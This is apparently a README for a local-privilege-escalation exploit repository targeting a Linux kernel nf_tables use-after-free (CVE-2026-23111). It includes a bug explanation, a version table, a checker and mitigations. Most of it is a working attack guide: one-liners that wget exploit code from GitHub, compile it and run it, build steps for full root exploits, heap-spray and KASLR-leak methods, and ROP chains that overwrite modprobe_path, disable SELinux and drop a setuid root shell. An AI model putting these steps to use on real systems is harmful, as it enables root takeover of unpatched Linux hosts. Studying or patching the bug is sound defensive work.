
Linux-Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE-PoC
Linux Kernel nf_tables Use-After-Free (Lokale Privilegienerweiterung) poc von baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| Versionsbereich | Behoben in |
|---|---|
| 6.19-rc1 bis 6.19-rc8 | 6.19-rc9+ |
| 6.13 bis 6.18.9 | 6.18.10 |
| 6.7 bis 6.12.69 | 6.12.70 |
| 6.4.1 bis 6.5.x | EOL (kein stabiler Fix) |
| 6.3.10 bis 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 bis 6.1.162 | 6.1.163 |
| 5.15.121 bis 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | Verschiedene LTS |
CVE-2026-23111 ist ein nf_tables Use-After-Free, verursacht durch eine umgekehrte Generation-Mask-Prüfung in nft_map_catchall_activate(). Während des Rollbacks einer fehlgeschlagenen Transaktion müssen Catchall-Verdict-Map-Elemente, die durch NFT_MSG_DELSET deaktiviert wurden, reaktiviert werden, sodass Referenzen wie NFT_GOTO-Chain-Referenzen wiederhergestellt werden. Der Catchall-Aktivierungspfad übersprang stattdessen inaktive Elemente und verarbeitete aktive, sodass deaktivierte Catchall-Elemente nicht wiederhergestellt wurden.
Die korrekte Nicht-Catchall-Aktivierungslogik ist:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* skip active, process inactive */
Der anfällige Catchall-Pfad verwendete die entgegengesetzte Bedingung:
if (!nft_set_elem_active(ext, genmask))
continue; /* skip inactive, process active */
Wenn eine gelöschte Pipapo-Verdict-Map zurückgesetzt wird, verhindert dies, dass nft_setelem_data_activate() für das inaktive Catchall-Element ausgeführt wird. Für NFT_JUMP/NFT_GOTO-Verdict-Daten wird die von nft_data_hold() übernommene Chain-Referenz daher nicht wiederhergestellt. Wiederholen der Abbruch-/Umschalt-/Lösch-Sequenz kann chain->use auf Null bringen, während eine andere Regel noch eine gültige Verdict-Referenz auf die Chain enthält. Ein späteres DELCHAIN kann dann die Chain freigeben, während sie noch erreichbar ist, was zu einer UAF führt.
Create table, base chain, victim chain, and pipapo verdict map with catchall NFT_GOTO -> victim
|
Batch 1: delete the pipapo set, then force a transaction error
|
Abort path calls nft_map_catchall_activate(), but the inverted check skips the inactive catchall
|
The catchall remains inactive and the victim chain reference count is not restored
|
Batch 2: commit a benign transaction to toggle the generation cursor
|
Batch 3: delete the pipapo set successfully, decrementing the victim chain reference again
|
Batch 4: delete the victim chain while the base-chain verdict still references it
|
Use-after-free when packet evaluation or rule dumping follows the dangling verdict reference
Der Upstream-Fix besteht darin, die Negierung zu entfernen, sodass nft_map_catchall_activate() zu nft_mapelem_activate() passt: Aktive Elemente werden übersprungen, inaktive werden reaktiviert, und Verdict-/Objekt-Referenzen werden während der Abbruchbehandlung wiederhergestellt.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
Use this if the full/v1 PoC fails on the target kernel.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
Installieren Sie zuerst die Build-Abhängigkeiten, wenn der Compiler die Header libmnl/libmnl.h oder libnftnl nicht findet:
scripts/install-build-deps.sh
# or
make deps
make # Build exploit (PoC only)
make v2 # Build v2 exploit (FuzzingLabs approach — try when v1 fails)
make full # Build full LPE exploit
make v3 # Build v3 calibrated eval-path variant
make run-d # Run PoC with debug output
make run-v2-d # Run v2 with debug output
make run-v3 # Show v3 usage/help
make run-full # Run full LPE
Erstellt ein Pipapo-Map-Set mit einem Catchall-Element (goto Victim-Chain) und nutzt dann den umgekehrten Genmask-Fehler während eines DELSET-Abbruchs, um chain->use zu korrumpieren. Nach dem Erhöhen des Generierungszählers gelingt DELCHAIN trotz hängender Referenzen und gibt die Chain frei.
Nach der UAF wird der Speicher von chain->name freigegeben. Wir sprayen seq_operations-Strukturen (32 Bytes), indem wir /proc/self/stat öffnen, um den freigegebenen Slab-Cache-Slot zurückzuerobern. Das Zurücklesen der unmittelbaren Verdict-Regel der Basis-Chain über NFT_MSG_GETRULE gibt den zurückgewonnenen Chain-Namen aus und leakt Kernel-Funktionszeiger. Die Zeiger-Validierung stellt sicher, dass nur kanonische Kernel-Textadressen akzeptiert werden.
Löst die UAF erneut mit einem längeren Chain-Namen aus (140 Bytes → kmalloc-cg-192), sprayt dann nft_rule-Objekte, um den Speicher zurückzuerobern. Die geleakten list_head-Zeiger geben Heap-Adressen im Direct-Map-Bereich preis.
nft_expr_ops und nft_rule_blob gespraytblob_gen_0 der Chain zu überschreibencommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcore gescanntexpr->ops->eval zu übernehmenDer v2-Exploit (exploit_v2.c) verwendet die im FuzzingLabs-Writeup beschriebenen Techniken und kann verwendet werden, wenn der v1-PoC fehlschlägt. Wichtige Unterschiede:
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (tagged pointer)
msg_queue + 0xc0 → q_messages.next → msg_msg heap address
Jeder Schritt verwendet die freigegebene Chain-Struktur als beliebiges-Lesen-Primitiv:
Table-Userdata (128 Bytes) erobert die freigegebene nft_chain in kmalloc-cg-128 zurück,
und eine Kernel-Adresse, die bei Offset 0x40 (wo chain->name lebt) platziert wird, wird
vom Kernel während der SET_B-Element-Dumps dereferenziert.
Die v3-Heap-Stufe ist offset-vorhergesagt und kein wirklich binärsicheres beliebiges-Lesen-via-Eval-Primitiv. Kalibrieren Sie das Ziel, bevor Sie das finale Spray ausführen:
grep msg_msg /proc/slabinfo
# Cross-reference with kmalloc-cg-2048 object density, then run with:
./exploit_v3 --msg-msg-addr 0xffff...
# or, when the value is known relative to the leaked kernel base:
./exploit_v3 --msg-msg-delta 0x...
Überprüfen Sie die nftables-Struktur-Offsets gegen den exakten Kernel-Build:
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)
Das Gadget-Scannen verwendet /proc/kcore; falls es eingeschränkt ist, extrahieren Sie Gadgets offline aus vmlinux und hardco-den Adressen relativ zur geleakten Kernel-Basis. Der v3-Paket-Eval-Pfad verwendet push rdi; pop rsp, weil rdi = expr; dies unterscheidet sich vom v2-Validate-Pfad, wo rsi = expr.
push rdi; pop rsp; pop rbp; ret ← stack pivot (rdi = expr)
pop rdi; ret → &modprobe_path \
pop rax; ret → "/tmp/pe\0" │ write modprobe_path
mov [rdi], rax; ret /
pop rdi; ret → &selinux_state \
xor eax, eax; ret │ disable SELinux
mov [rdi], eax; ret /
pop rdi; ret → 10000 \
msleep │ keep kernel alive
Das Skript /tmp/pe wird als root ausgeführt, wenn der Kernel modprobe_path aufruft, nachdem er auf ein unbekanntes Binärformat gestoßen ist. Es erstellt eine setuid-root-Shell unter /tmp/rootbash.
NFT_MSG_GETELEM (anderer Kernel-Codepfad) anstelle von NFT_MSG_GETRULEinit_ipc_ns, um Kernel-Datenstrukturen zu durchlaufen, anstatt nft_rule-Objekte zu sprayenmsg_msg-2k (großer, stabiler Puffer) anstelle von nft_rules + Table-Userdata für die ROP-Nutzlastmodprobe_path (funktioniert ohne swapgs/iretq) anstelle von commit_creds + Namespace-WechselSLAB_RANDOM/Härtung: Die v2-init_ipc_ns-Kette zielt auf eine stabile globale Variable ab, was das Heap-Layout weniger kritisch machtIn nft_map_catchall_activate() (net/netfilter/nf_tables_api.c):
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_set_elem_active(ext, genmask)) // BUG: should be without '!'
continue;
nft_clear(ctx->net, ext);
nft_setelem_data_activate(ctx->net, set, catchall->elem);
break;
}
Das ! bewirkt, dass die Funktion INACTIVE-Elemente überspringt, anstatt sie zu verarbeiten. Während des Transaktionsabbruchs wird das Catchall-Element (das gerade durch DELSET deaktiviert wurde) übersprungen, sodass nft_data_hold() nie aufgerufen wird, um den Chain-Referenzzähler wiederherzustellen.
├── CVE-2026-23111-checker.py Vulnerability detection script (--detailed, --json)
├── exploit.c PoC exploit (UAF + KASLR leak + heap leak)
├── exploit_v2.c v2 exploit (FuzzingLabs approach — try when v1 fails)
├── exploit_full.c Full LPE exploit (UAF + leaks + ROP chain)
├── exploit_full_aarch64 Pre-built aarch64 binary (static)
├── exploit_full.b64 Base64-encoded full exploit binary
├── Makefile Build configuration
└── README.md This file
apt-get install -y libmnl-dev libnftnl-dev gcc make python3
apt-get install -y gcc-aarch64-linux-gnu
make aarch64
make debug # PoC with ASan
make debug-full # Full exploit with ASan
Der Checker führt mehrere Erkennungsmethoden durch:
nf_tables geladen istCONFIG_NF_TABLES aus /proc/config.gz oder /boot/config-*nft_map_catchall_activate in /proc/kallsymskernel.unprivileged_userns_clonepython3 CVE-2026-23111-checker.py --detailed # Human-readable with mitigations
python3 CVE-2026-23111-checker.py --json # Machine-readable JSON
sysctl kernel.unprivileged_userns_clone=0nf_tables blacklisten, falls nicht benötigt:
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
| Komponente | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|
| UAF-Trigger | Ein Set + sofortige goto-Regel | Zwei Sets (FuzzingLabs-Stil) + Lookup-Regel |
| KASLR-Rücklesen | NFT_MSG_GETRULE (Regel-Dump) | NFT_MSG_GETELEM (Element-Dump) + GETRULE-Fallback |
| Heap-Leak | nft_rule-Spray + list_head-Leak | init_ipc_ns-beliebiges-Lesen-Kette |
| ROP-Host | nft_regeln + Table-Userdata | msg_msg-2k (2048-Byte-Nachricht) |
| Hijack-Trigger | Paket-Evaluierung auf sofortiger goto | Paket-Evaluierung auf überlebendem Set-Catchall |
| Privilegienerweiterung | commit_creds + switch_task_namespaces | modprobe_path-Überschreiben + SELinux deaktivieren |
| Rückgabepfad | swapgs; iretq | msleep() (bleibt im Kernel) |
| Problem | Lösung |
|---|
mnl_socket_open: No such file or directory | Stellen Sie sicher, dass das Modul nf_tables geladen ist: modprobe nf_tables |
unshare: Operation not permitted | Erfordert unprivilegierte Benutzer-Namespaces. Prüfen Sie kernel.unprivileged_userns_clone=1 |
Batch A did NOT abort | Kernel könnte gepatcht sein oder das Genmask-Verhalten unterscheidet sich |
No kernel pointer leaked | KASLR-Härtung oder SLAB_RANDOM könnte aktiv sein; versuchen Sie mehrere Durchläufe |
No heap pointer found | Heap-Spray-Kollisionsrate ist probabilistisch; wiederholen Sie den Vorgang oder erhöhen Sie die Spray-Anzahl |
Kompilierung: nf_tables.h: No such file | Installieren Sie Kernel-Header: apt install linux-headers-$(uname -r) |
Link-Fehler: undefined reference to mnl_* | Link-Reihenfolge beachten: -lnftnl -lmnl (nftnl vor mnl) |